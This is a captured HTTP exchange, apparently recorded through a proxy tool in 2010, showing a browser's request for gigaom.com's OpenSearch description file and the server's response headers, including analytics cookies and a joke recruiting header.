GET /osd.xml HTTP/1.1 Host: gigaom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; __utmc=84586511; __utmb=84586511.1.10.1293655551; __qca=P0-1294378727-1293655574026; _bizo_cksm_crc32=EE5AA7C4; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; km_lv=x; km_uq=
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 20:46:37 GMT Content-Type: application/xml Connection: close Last-Modified: Wed, 29 Dec 2010 18:38:24 +0000 Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Thu, 30 Dec 2010 18:38:23 +0000 Cache-Control: max-age=86400, public X-nananana: Batcache Content-Length: 1508